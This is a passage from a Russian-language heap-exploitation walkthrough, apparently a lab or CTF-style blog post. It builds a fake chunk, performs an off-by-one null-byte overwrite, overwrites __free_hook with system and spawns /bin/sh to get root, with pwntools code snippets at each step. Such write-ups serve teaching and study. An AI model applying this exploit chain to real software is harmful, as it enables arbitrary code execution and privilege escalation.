\u0440\u0430\u0441\u0447\u0435\u0442\u0430 0x1ab0 + \u043f\u0430\u043c\u044f\u0442\u044c, \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u0434\u043b\u044f \u0447\u0430\u043d\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u044c\u0441\u044f \u043a \u0441\u043f\u0438\u0441\u043a\u0443 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e bin\u2019a (\u043a \u043f\u0440\u0438\u043c\u0435\u0440\u0443 0x50) + 0x70 + 0x10. \u041e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0435\u0442\u0441\u044f 0x70 \u0441\u0442\u0430\u043d\u0435\u0442 \u043f\u043e\u043d\u044f\u0442\u043d\u0435\u0435 \u0434\u0430\u043b\u0435\u0435, \u0430 0x10 \u2014 \u043a\u0430\u043a \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u043e\u0442 \u0430\u0434\u0440\u0435\u0441\u0430 \u0447\u0430\u043d\u043a\u0430 (\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c \u0432 \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a\u0435 \u0430\u0434\u0440\u0435\u0441 \u043a\u0443\u0447\u0438 \u0443\u043a\u0430\u0437\u0430\u043d \u0441\u043e \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435\u043c 0x10 \u2014 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c FD). \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0430\u0434\u0440\u0435\u0441 0x1b90. \u041d\u043e \u043c\u044b \u043d\u0435 \u0437\u043d\u0430\u0435\u043c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u0430\u0434\u0440\u0435\u0441\u0430 \u0432 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435, \u043d\u043e \u0437\u0430\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0435\u0433\u043e \u043a\u0430\u043a \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439, \u0442\u0430\u043a \u043a\u0430\u043a \u043c\u044b \u0437\u043d\u0430\u0435\u043c \u0430\u0434\u0440\u0435\u0441 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u0443\u0447\u0438 (\u0434\u043b\u044f \u043d\u0430\u0448\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u044d\u0442\u043e 0x1140). \u0422\u0430\u043a \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441 \u0430\u0434\u0440\u0435\u0441\u043e\u043c leak_heap+0xa50. <\/p>\n<p>  \u0414\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u043c\u043e\u0439 \u0430\u0442\u0430\u043a\u0438, \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u0434\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u0441\u0435 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0447\u0430\u043d\u043a\u043e\u0432, \u0442\u043e \u0435\u0441\u0442\u044c \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0442\u0438\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c. \u0410\u0434\u0440\u0435\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u043e \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u043b\u0438 \u2014 \u044d\u0442\u043e \u0435\u0441\u0442\u044c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438 FD \u0438 BK! <\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0441 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c \u043d\u043e\u0432\u043e\u0433\u043e \u0444\u0438\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0447\u0430\u043d\u043a\u0430. \u041c\u044b \u043e\u043f\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0434\u0432\u0443\u043c\u044f \u0440\u0430\u0437\u043c\u0435\u0440\u0430 \u0447\u0430\u043d\u043a\u043e\u0432 \u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u0447\u0430\u043d\u043a\u043e\u0432: 0x200 \u0438 0x500, \u0442\u043e\u0433\u0434\u0430 \u0442\u043e\u0433\u0434\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0430\u044f prev_size \u043f\u043e\u043b\u0443\u0447\u0438\u043c 0x1f8 (0x200-0x8) \u0438 0x4f8 (0x500-0x8), \u043f\u0440\u0438 \u044d\u0442\u043e\u043c, \u043c\u044b \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u043c\u0441\u044f \u201c\u0438\u0433\u0440\u0430\u0442\u044c\u201d \u0441 \u043c\u0435\u043d\u044c\u0448\u0438\u043c \u0431\u043b\u043e\u043a\u043e\u043c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043c \u0435\u0449\u0435 0x70 (\u0443\u0436\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u043e\u0441\u044c): 0x1f8 \u2014 0x70 = 0x198. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0440\u0430\u0437\u043c\u0435\u0440 \u0444\u0438\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0447\u0430\u043d\u043a\u0430 0x198 + 0x35 = 0x1d0. \u041d\u0438\u0436\u0435 \u043f\u0440\u0438\u0432\u043e\u0436\u0443 \u043c\u043e\u0434\u0435\u043b\u044c.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/iz\/it\/a2\/izita2fnac0ydwbft1jtew-nlmo.png\"><\/p>\n<p>  \u0412\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u044c \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 0x1ae8 \u043b\u0435\u0433\u043a\u043e, \u0430 \u0432\u043e\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0439 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0441\u043b\u043e\u0436\u043d\u0435\u0435, \u0442\u0430\u043a \u043a\u0430\u043a \u0431\u0430\u0439\u0442 \\x00 \u0431\u0443\u0434\u0435\u0442 \u0432\u043e\u0441\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c\u0441\u044f \u043a\u0430\u043a \u0441\u0438\u043c\u0432\u043e\u043b \u043e\u043a\u043e\u043d\u0447\u0430\u043d\u0438\u044f \u0441\u0442\u0440\u043e\u043a\u0438, \u043d\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u044d\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c. \u0422\u0430\u043a \u0435\u0441\u043b\u0438 \u043c\u044b \u043e\u0447\u0438\u0441\u0442\u0438\u043c \u043f\u0430\u043c\u044f\u0442\u044c \u0438 \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0442\u0430\u043a\u043e\u0439 \u0436\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0441 \u0442\u0430\u043a\u0438\u043c \u0436\u0435 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c \u0437\u0430\u043f\u0438\u0441\u0438, \u043d\u043e \u0437\u0430\u043f\u0438\u0448\u0435\u043c 0x37 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u201c\u0410\u201d, \u0442\u043e \u043d\u0430 \u043c\u0435\u0441\u0442\u0435 0x38 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d 0, \u043a\u0430\u043a \u0441\u0438\u043c\u0432\u043e\u043b \u043e\u043a\u043e\u043d\u0447\u0430\u043d\u0438\u044f \u0441\u0442\u0440\u043e\u043a\u0438. <\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ke\/0f\/or\/ke0forpkbk8vlquv0b1aacu48ra.png\"><\/p>\n<p>  \u0415\u0441\u043b\u0438 \u043c\u044b \u0441\u043d\u043e\u0432\u0430 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043c \u0442\u0435 \u0436\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f, \u043d\u043e \u0437\u0430\u043f\u0438\u0448\u0435\u043c 0x36 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432, \u0442\u043e 0 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u043d\u0430 0x37 \u043c\u0435\u0441\u0442\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/vb\/r2\/dk\/vbr2dkkbxkdcjkwfvdu-byi3osw.png\"><\/p>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043e\u0441\u0432\u043e\u0431\u043e\u0434\u0438\u043c 8 \u0431\u0430\u0439\u0442 \u0434\u043b\u044f \u0430\u0434\u0440\u0435\u0441\u0430 \u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043c \u0437\u0430\u043f\u0438\u0441\u044c.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/gw\/gk\/5n\/gwgk5nqw7qlgzyneivcgruwsepu.png\"><\/p>\n<p>  \u0418 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0441\u0442\u0443\u043f\u0438\u043c \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0440\u0430\u0437\u043c\u0435\u0440\u0430 \u0444\u0438\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0447\u0430\u043d\u043a\u0430.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ob\/h5\/e3\/obh5e3gtko6rxtxnxrkguc8upyc.png\"><\/p>\n<p>  \u041d\u0438\u0436\u0435 \u043f\u0440\u0438\u0432\u043e\u0436\u0443 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439.  <\/p>\n<pre><code class=\"python\">alloc(0x50, b'A'*0x38 + p64(leak_heap+0xa50)), free(2) for i in range(1, 9):     alloc(0x50, b'A'*(0x38-i))     free(2) alloc(0x50, b'A'*0x30 + p64(leak_heap+0xa50)), free(2) for i in range(1, 9):     alloc(0x50, b'A'*(0x30-i))     free(2) alloc(0x50, b'A'*0x28 + p64(0x1d0)) log.info(&quot;Dummy chunk created&quot;)<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/um\/97\/vh\/um97vhjqh1djdirt-3tnaqogdfq.png\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0434\u043b\u044f \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0435\u0449\u0435 0x198 \u0431\u0430\u0439\u0442 \u0434\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0444\u0438\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0447\u0430\u043d\u043a\u0430. \u0421\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0442\u0440\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0430 \u043f\u043e\u0442\u043e\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c \u0430\u0442\u0430\u043a\u0443 Off-By-One. \u0423 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0447\u0430\u043d\u043a, \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 0x198 \u0431\u0430\u0439\u0442, \u0438 \u0435\u0441\u043b\u0438 \u0434\u043b\u0438\u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u0438 \u0431\u0443\u0434\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435, \u0442\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0435 \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0435\u0442. \u041d\u043e \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435, \u0444\u0443\u043d\u043a\u0446\u0438\u044f strlen() \u043f\u0440\u0438 \u043f\u043e\u0434\u0441\u0447\u0435\u0442\u0435 \u0434\u043b\u0438\u043d\u044b \u0441\u0442\u0440\u043e\u043a\u0438 \u043d\u0435 \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442 \u0441\u0438\u043c\u0432\u043e\u043b \\x00, \u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f strcpy() \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u0442 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 null-\u0431\u0430\u0439\u0442\u043e\u043c. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043e\u0447\u0438\u0441\u0442\u0438\u0432 0x198 \u0431\u0430\u0439\u0442 \u0438 \u0437\u0430\u043f\u0438\u0441\u0430\u0432 0x198 \u0431\u0430\u0439\u0442, \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043c\u044b \u0437\u0430\u043f\u0438\u0448\u0435\u043c \u0435\u0449\u0435 \u0438 0x199-\u0439 \u0441\u0438\u043c\u0432\u043e\u043b \\x00, \u0438\u0437\u043c\u0435\u043d\u0438\u0432 \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u044b\u0439 \u0431\u0430\u0439\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0447\u0430\u043d\u043a\u0430, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0438\u0439 \u0437\u0430 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u0435 \u0431\u043b\u043e\u043a\u0430, \u043a\u0430\u043a \u0437\u0430\u043d\u044f\u0442\u043e\u0433\u043e.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/hf\/dy\/4j\/hfdy4jbkpjukkau5rjyxibsezl8.png\"><\/p>\n<p>  0 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0448\u0435\u0442 1, \u0442\u043e \u0435\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u201c\u043e\u0441\u0432\u043e\u0431\u043e\u0434\u0438\u0442\u201d \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0447\u0430\u043d\u043a (\u043f\u043e\u043c\u0435\u0442\u0438\u0442 \u043a\u0430\u043a \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439).<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/bs\/hl\/g4\/bshlg47klat5pzfxjv6z7r-xjzi.png\"><\/p>\n<p>  \u041d\u043e \u0435\u0441\u0442\u044c \u0435\u0449\u0435 \u043a\u043e\u0435-\u0447\u0442\u043e. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0432\u0437\u0433\u043b\u044f\u043d\u0435\u043c \u043d\u0430 \u043a\u043e\u0434 unlink().  <\/p>\n<pre><code class=\"cpp\">\/* Take a chunk off a bin list *\/ #define unlink(AV, P, BK, FD) {                                                 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))             malloc_printerr (&quot;corrupted size vs. prev_size&quot;);\t\t\t           FD = P-&gt;fd;\t\t\t\t\t\t\t\t           BK = P-&gt;bk;\t\t\t\t\t\t\t\t           if (__builtin_expect (FD-&gt;bk != P || BK-&gt;fd != P, 0))\t\t             malloc_printerr (&quot;corrupted double-linked list&quot;);<\/code><\/pre>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0444\u0438\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438, \u043f\u043e\u043b\u0435, \u043f\u0440\u0435\u0434\u0448\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435 \u0440\u0430\u0437\u043c\u0435\u0440\u0443 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0447\u0430\u043d\u043a\u0430 \u0434\u043e\u043b\u0436\u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0440\u0430\u0437\u043c\u0435\u0440 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0447\u0430\u043d\u043a\u0430, \u0435\u0441\u043b\u0438 \u043e\u043d \u0441\u0432\u043e\u0431\u043e\u0434\u0435\u043d. \u041d\u043e \u0432 \u043d\u0430\u0448\u0435\u043c \u0444\u0438\u043a\u0442\u0438\u0432\u043d\u043e\u043c \u0447\u0430\u043d\u043a\u0435 \u044d\u0442\u043e\u0433\u043e \u043d\u0435 \u043f\u0440\u043e\u0438\u0445\u043e\u0434\u0438\u0442, \u0432 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 unlink \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0437\u0430\u043f\u0438\u0441\u044c \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0430 \u0432 \u043a\u043e\u043d\u0435\u0446 3 \u0437\u0430\u043f\u0438\u0441\u0438. \u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043e\u0447\u0438\u0441\u0442\u0438\u0442\u044c 3 \u0438 4 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0447\u0442\u043e \u043e\u0431\u0440\u0430\u0437\u0443\u0435\u0442 \u043d\u043e\u0432\u044b\u0439 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0447\u0430\u043d\u043a!<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ja\/6c\/5f\/ja6c5fsrd2mikbf3km4_zowdpxw.png\"><\/p>\n<p>  \u041d\u0438\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f.  <\/p>\n<pre><code class=\"python\">alloc(0x198, b'A' * 0x20), alloc(0x4f0, b'A' * 0x20), alloc(0x210, b'A' * 0x20) free(3), alloc(0x198, b'A' * 0x198), free(3) for i in range(1, 9):     alloc(0x198, b'A'*(0x198 -i))     free(3) alloc(0x198, b'A'*0x190 + p64(0x1d0)) free(3), free(4) log.success(&quot;Off-By-One attack complited&quot;)<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/fq\/a_\/nc\/fqa_ncyfiegy69kb2aw8rzrirxi.png\"><\/p>\n<p>  \u041e\u0448\u0438\u0431\u043e\u043a \u043d\u0435 \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e, \u0438\u0434\u0435\u043c \u0434\u0430\u043b\u0435\u0435.<\/p>\n<h2>Heap exploatation<\/h2>\n<p>  \u0422\u0430\u043a \u0443 \u043d\u0430\u0441 \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c 0x30 \u043d\u0435 \u0440\u0430\u0437\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0431\u0430\u0439\u0442 \u043f\u043e\u0441\u043b\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b Conf2. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0437\u0430\u0439\u043c\u0435\u043c \u0438\u0445, \u0441\u043e\u0437\u0434\u0430\u0432 \u0437\u0430\u043f\u0438\u0441\u044c \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 0x20 \u0431\u0430\u0439\u0442. \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u0440\u0438 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u0431\u0443\u0434\u0443\u0442 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0447\u0430\u043d\u043a\u0438 \u0432 \u0444\u0438\u043a\u0442\u0438\u0432\u043d\u043e\u043c \u0431\u043b\u043e\u043a\u0435, \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 0x1d0. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0432\u044b\u0434\u0435\u043b\u0438\u043c \u0442\u0440\u0438 \u0431\u043b\u043e\u043a\u0430 \u043f\u043e 0x60 \u0431\u0430\u0439\u0442.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/c-\/wv\/h9\/c-wvh93zkkbbctfcnvf9ldkfibe.png\"><\/p>\n<p>  \u0418 \u043e\u0447\u0438\u0441\u0442\u0438\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 3 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u0431\u043b\u043e\u043a\u0430.  <\/p>\n<pre><code class=\"python\">alloc(0x20, b'A'*0x10), alloc(0x20, b'A'*0x10) for _ in range(3):     alloc(0x60,  b'A'*0x30) for i in range(6,9):     free(i) log.info(&quot;Realloc memory&quot;)<\/code><\/pre>\n<p>  \u041d\u043e \u0432\u044b\u0434\u0435\u043b\u0438\u0432 0x198 \u043c\u044b \u0432\u0441\u0435 \u0440\u0430\u0432\u043d\u043e \u0441\u043c\u043e\u0436\u0435\u043c \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u043a \u0447\u0430\u043d\u043a\u0443 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 0x1b10, \u0442\u0430\u043a \u043a\u0430\u043a \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u043d\u0435\u0433\u043e \u0431\u0443\u0434\u0435\u0442 \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c \u0441\u043f\u0438\u0441\u043a\u0435, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0437\u0430\u043f\u0438\u0448\u0435\u043c \u0432 \u0431\u044b\u0432\u0448\u0438\u0439 \u0447\u0430\u043d\u043a desc8 \u0430\u0434\u0440\u0435\u0441 __free_hook. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0435\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043f\u043e \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044e 0x60+0x10+0x60+0x10.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/yb\/sn\/ln\/ybsnlnqagr5lj-llfelodr4etve.png\"><\/p>\n<p>  \u041d\u043e \u0447\u0430\u043d\u043a desc8 \u0431\u0443\u0434\u0435\u0442 \u0444\u0438\u0433\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0449\u0435 \u0438 \u0432\u043f\u0438\u0441\u043a\u0435 \u0441 \u0447\u0430\u043d\u043a\u0430\u043c\u0438, \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 0x60, \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0439 \u0447\u0430\u043d\u043a \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043f\u0438\u0441\u043a\u0430, \u0441\u043e\u0437\u0434\u0430\u0432 \u043f\u0443\u0441\u0442\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c. \u0418 \u0437\u0430\u0442\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0437\u0430\u043f\u0438\u0441\u044c, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0443\u044e \u0430\u0434\u0440\u0435\u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 system.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/wq\/iy\/ah\/wqiyahypm722bxs5fwcb79vwst0.png\"><\/p>\n<p>  \u0418 \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u043d\u0443\u043b\u0435\u0432\u0443\u044e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0443\u044e \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 game, \u0441\u0442\u0440\u043e\u043a\u0443-\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 system \u2014 \/bin\/sh. \u0418 \u043f\u0440\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0438 \u0434\u0430\u043d\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0430 \u0430\u0434\u0440\u0435\u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 system \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c \/bin\/sh!  <\/p>\n<pre><code class=\"python\">alloc(0x198, b'A' * (0x60 + 0x70 + 0x10) + p64(libc.symbols['__free_hook'])) alloc(0x60, '') alloc(0x60, p64(libc.symbols['system'])) alloc(0, '', game=b'\/bin\/sh\\x00') free(9) p.recv(), p.sendline('id')<\/code><\/pre>\n<p>  \u041f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u0438\u0432\u043e\u0436\u0443 \u043d\u0438\u0436\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/vw\/bl\/md\/vwblmdptleiwiwtkvwrx7u4pxr8.png\"><br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/at\/ur\/t3\/aturt3xghkrutsmxbw4o5sbvgem.png\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/km\/gv\/dy\/kmgvdywmwdh-8ijkafjazsxvbgk.png\"><\/p>\n<p>  \u0418 \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c root.<\/p>\n<p>  \u0412\u044b 